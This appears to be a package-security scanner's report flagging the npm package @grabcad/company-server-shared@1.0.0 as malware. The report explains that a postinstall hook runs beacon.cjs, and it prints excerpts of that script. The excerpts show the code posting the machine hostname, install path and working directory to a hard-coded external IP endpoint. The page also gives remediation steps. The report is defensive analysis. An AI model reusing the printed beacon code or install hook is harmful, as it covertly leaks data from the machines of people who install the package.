@grabcad/company-server-shared@1.0.0
Compatibility shim.
AI Security Review
scanned 2h ago · by lpm-firewall-aiThe postinstall hook activates an external beacon that sends host and project location identifiers to a fixed recipient without installer consent. This is an unconsented installation-time disclosure and supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
An external recipient receives identifying information about the machine and package installation without an effective consent gate.
Mechanism
The postinstall hook runs beacon.cjs, which constructs a payload containing the hostname, install path, and working directory, then sends it by HTTP POST. The entrypoint also calls the beacon directly.
Attack narrative
Installation automatically sends the machine hostname and installation locations to a fixed external host. Importing the package triggers the same disclosure. The inspected source shows no consent gate for either trigger.
AI rationale
The postinstall hook activates an external beacon that sends host and project location identifiers to a fixed recipient without installer consent. This is an unconsented installation-time disclosure and supports blocking publication.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically during installation.
- The beacon sends a POST request to a fixed external IP address.
- The transmitted payload includes the machine hostname, install path, and working directory.
- Importing the package also calls the beacon without a consent check.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"
High
Ai Review Evidence
The package runs beacon.cjs automatically during installation.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/company-server-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighAi Review Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/company-server-shared@1.0.0.
See all versions of @grabcad/company-server-shared for other recorded verdicts.
- Avoid installing @grabcad/company-server-shared@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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